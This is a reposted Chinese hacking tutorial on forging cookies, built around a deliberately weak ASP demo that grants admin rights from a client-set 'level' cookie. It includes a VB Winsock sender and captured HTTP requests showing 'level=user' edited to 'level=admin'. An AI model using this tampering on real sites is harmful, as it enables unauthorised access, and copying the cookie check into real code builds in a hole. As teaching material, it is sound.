首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

利用winsocket编程发送伪造COOKIE--利用winsocket编程发送伪造COOKIE

作者:佚名  来源:网上收集  发布时间:2007-1-8 21:21:20

一个存活期很长的COOKIE,对于这种COOKIE他会生成在我们的本地盘上的,而对于那些关闭浏览器就失效的COOKIE我们该怎样来进行欺骗伪造呢?

首先我们应该知道在我第一节的例子中弹那个"you are a administrator"框框的网页(level1.htm)其实是下载在我的本地然后执行的,也就是说他对COOKIE的检验读取也是在本地,那如果是在远程服务器上呢?比如
一个ASP程序他又是如何读取我们的COOKIE的呢?

先来看看基本的东东吧:当我们使用HTTP协议向远程主机发送一个GET或是POST请求时,那么如果有这个域名的COOKIE存在(不管是在内存中还是本地盘上的)都将和请求一起发送到服务器去.

下面的就是一个实际的例子:

GET /ring/admin.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

看到最后一行了吧:)

然后我们再来看看服务器是如何进行COOKIE检验的,我举了一个简单的例子:
有两个ASP文件一个叫admin.asp,还有一个叫level.asp

-----------admin.asp------------------
<%response.write now()%>
<%response.write ""%>
<%response.cookies("level")="user"%>
<%response.write "<html><script>document.write(document.cookie);</script></html>"%>

-----------cut here-------------------

-----------level.asp------------------
<%
if Request.Cookies("level")<>"" then
response.write "<html><script>document.write(document.cookie);</script></html>"
if request.cookies("level")="user" then
response.write "<html><script>alert('you are a user');</script></html>"
else
if request.cookies("level")="admin" then
response.write "<html><script>alert('you are administrator!');</script></html>"
set fso1=server.createobject("scripting.filesystemobject")
set fil=fso1.opentextfile("d:\sms\ring\a.txt",8,true)
fil.writeline "you are admin!"
end if
end if
else
response.write "<html><script>alert('you are not login');</script></html>"
end if
%>
-----------cut here-------------------

说明:当你请求admin.asp时,将产生一个临时的COOKIE(你关闭浏览器就会失效),然后我们不关闭浏览器而
请求level.asp时它就会用request.cookies来提取你发出的请求里面的cookie,如果你的COOKIE里面的内容是
admin的话那么它将用fso对象在服务器产生一个记录文件(a.txt要注意的是我们在实验时要把目录设为可写)

好了就介绍这么多吧,我们的目的就是让服务器产生a.txt并写入内容"you are admin"还是进行上一节的域名欺骗吗?不是让我们写一个winsocket程序吧,Let GO:)

下面是我们VB+WINSCOKET控件写的一个简单的例子的源代码:

-----------------------COOKIE SEND---------------------------------------
Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text '远程主机打开的端口一般都为80
Winsock1.RemoteHost = Text2.Text '远程主机的域名也可以输IP
Winsock1.Connect '打开一个SOCKET连接
Command1.Enabled = False '一次只能打开一个连接所以要让SEND按钮失效
End Sub

Private Sub winsock1_Connect()
Winsock1.SendData Text1.Text '打开连接成功的话就发送数据
End Sub

Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True '关闭连接,让SEND按钮有效
End Sub


Private Sub winsock1_DataArrival(ByVal bytesTotal As Long) '接收数据,可以让我们检查数据是否发送成功
Dim tmpstr As String
Winsock1.GetData tmpstr
Text4.Text = tmpstr
End Sub

-----------------------CUT HERE--------------------------------------------

好,再让我们看一看具体的过程吧:这儿要用到一个不错的程序WinSock Expert v0.3 beta 1

一步:打开一个IE然后再打开winsock expert选择监视刚才打开的IE窗口的数据包
二步: 在IE地址栏输入http://61.139.xx.xx/ring/admin.asp,那个我将看到发出了如下数据

GET /ring/admin.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive

不要半闭窗口请求http://61.139.xx.xx/ring/level.asp,我们又将看到发出了如下数据

GET /ring/level.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

三步: 好了对第二次发出的数据的最后一行Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就是我们要改的东东,由于level.asp中相应的COOKIE的检验语句为if request.cookies("level")="admin" then
所以我们只要把上面的数据的最后一行改成Cookie: level=admin; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就可以了,后面的东东很重要下面我再说明一下:)

四步: 把改过的数据拷到我编的程序的发送框里面输入端口和域名后。。。。。

五步:到服务器看看是不是生成了那个a.txt里面的内容为"you are admin!


好了不写了,主要还是自已多实验就可以了为了放便大家本文章的程序代码完全公开哈

1.admin.asp和level.asp: http://locking.8u8.com/cookie/admin.txt和level.txt
2.cookieclient.exe及源代码: http://locking.8u8.com/cookie/cookiesend.zip
3.winsock expert: http://software.tom.com/download.asp?id=7500 或是 http://dxqsoft.myrice.com/

[] [返回上一页] [打 印]
  • 上一篇文章:Windows系统“安全模式”妙用全接触--Windows,系统,安全模式
  • 下一篇文章:搜狐ajax hacking漏洞详解——XSS worm--搜狐,ajax hacking,漏洞,详解,XSS,worm

  • 相关文章:
  • 利用Windows命令查找木马病毒
  • 利用Windows的磁盘配额增强系统的安全
  • 不再泄露个人隐私 彻底清查带毒的Cookie
  • 利用Win XP系统回收站隐藏文件
  • [图文]在IE浏览器属性中合理设置Cookies
  • Dvbbs 7.1.0 cookie 存在泄露绝对路径漏洞
  • 解析cookie欺骗实现过程及具体应用
  • 彻底清查带毒的Cookie
  • [图文]利用Windows窃听器监视系统的举动
  • 如何利用WIN2000实现两个网段的路由
  • [组图]如何利用Win2000 Server配置路由
  • 怎样利用Windows XP实现网络统一关机
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号